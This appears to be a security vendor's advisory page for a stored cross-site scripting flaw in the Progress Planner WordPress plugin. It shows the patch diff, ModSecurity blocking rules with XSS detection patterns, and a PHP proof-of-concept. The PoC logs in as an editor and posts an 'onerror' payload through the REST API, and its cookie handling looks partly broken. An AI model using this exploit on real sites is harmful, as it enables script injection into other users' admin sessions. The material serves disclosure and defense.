@@ -273,9 +273,11 @@

 					$admin_bar->add_node(
 						[
-							'id'     => 'prpl-suggested-' . $key . '-' . $title,
+							// Use the post ID (not the title) for the node ID, and escape the
+							// title for display - the admin bar renders 'title' as raw HTML.
+							'id'     => 'prpl-suggested-' . $key . '-' . $task->ID,
 							'parent' => 'prpl-suggested-' . $key,
-							'title'  => $title . ' <a href="' . esc_url( $delete_url ) . '" style="color: #dc3232; display: inline-block; margin-left: 5px; text-decoration: none;">×</a>',
+							'title'  => esc_html( $title ) . ' <a href="' . esc_url( $delete_url ) . '" style="color: #dc3232; display: inline-block; margin-left: 5px; text-decoration: none;">×</a>',
 						]
 					);
 				}
@@ -307,7 +309,7 @@
 				[
 					'id'     => 'prpl-activity-' . $activity->id,
 					'parent' => 'prpl-activities',
-					'title'  => $activity->data_id . ' - ' . $activity->category,
+					'title'  => esc_html( $activity->data_id . ' - ' . $activity->category ),
 				]
 			);
 		}
--- a/progress-planner/progress-planner.php
+++ b/progress-planner/progress-planner.php
@@ -9,7 +9,7 @@
  * Description:       A plugin to help you fight procrastination and get things done.
  * Requires at least: 6.6
  * Requires PHP:      7.4
- * Version:           1.9.0
+ * Version:           1.9.1
  * Author:            Team Emilia Projects
  * Author URI:        https://prpl.fyi/about
  * License:           GPL-3.0+

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28116
# Blocks stored XSS injection via REST API for Progress Planner recommendations.
# Matches POST requests to /wp-json/wp/v2/prpl_recommendations with HTML/script in title.

SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/prpl_recommendations$" 
    "id:20262811,phase:2,deny,status:403,chain,msg:'CVE-2026-28116 Progress Planner Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2026-28116'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS:title "@rx <[^>]*>" 
            "t:none,t:urlDecodeUni,t:removeNulls,t:lowercase,chain"
            SecRule MATCHED_VAR "@rx <(script|img|iframe|svg|object|embed|style|link|meta|base|form|input|button|textarea|select|option|optgroup|applet|marquee|isindex)[^>]*>|<[^>]*on[a-z]+=|javascript:|data:text/html|vbscript:" 
                "t:none,t:urlDecodeUni,t:removeNulls,t:lowercase"

# Alternative rule that directly blocks HTML tags in the title parameter
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/prpl_recommendations$" 
    "id:20262812,phase:2,deny,status:403,chain,msg:'CVE-2026-28116 Progress Planner Stored XSS via REST API (alt)',severity:'CRITICAL',tag:'CVE-2026-28116'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS:title "@rx <[A-Za-z/!?][^>]*>" 
            "t:none,t:urlDecodeUni,t:removeNulls,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28116 - Progress Planner <= 1.9.0 - Authenticated (Editor+) Stored Cross-Site Scripting

// Configure target and credentials
$target_url = 'http://example.com';  // CHANGE THIS to the target WordPress URL
$username = 'editor';                // CHANGE THIS to attacker's username (must have Editor+ role)
$password = 'password';              // CHANGE THIS to attacker's password

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => '/tmp/wp_cookie.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Login successful.n";
} else {
    die("[-] Login failed. HTTP code: $http_coden");
}

// Step 2: Get REST API nonce (required for making requests as authenticated user)
$wp_json_nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $wp_json_nonce_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => 'PHPSESSID=' . trim(file_get_contents('/tmp/wp_cookie.txt'), "n"),
    CURLOPT_SSL_VERIFYPEER => false
]);
$nonce = trim(curl_exec($ch));
curl_close($ch);

echo "[+] Nonce obtained: $noncen";

// Step 3: Exploit - Create a new recommendation with XSS payload in title
$rest_url = $target_url . '/wp-json/wp/v2/prpl_recommendations';
$payload = '<img src=x onerror=alert("XSS_Exploited")>';
$data = json_encode([
    'title' => $payload,
    'status' => 'publish',
    'content' => 'This is a test recommendation with XSS payload.',
    'meta' => [
        'task_id' => 'cve-test-'.time(),
        'task_type' => 'suggested'
    ]
]);

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $data,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce,
        'Content-Length: ' . strlen($data)
    ],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => 'PHPSESSID=' . trim(file_get_contents('/tmp/wp_cookie.txt'), "n"),
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 201) {
    echo "[+] Recommendation created successfully with XSS payload.n";
    echo "[+] Payload: $payloadn";
    echo "[+] Visit the admin dashboard or page that renders suggested tasks to trigger XSS.n";
    $response_data = json_decode($response, true);
    echo "[+] New recommendation ID: " . $response_data['id'] . "n";
} else {
    echo "[-] Failed to create recommendation. HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}

// Clean up cookie file
unlink('/tmp/wp_cookie.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School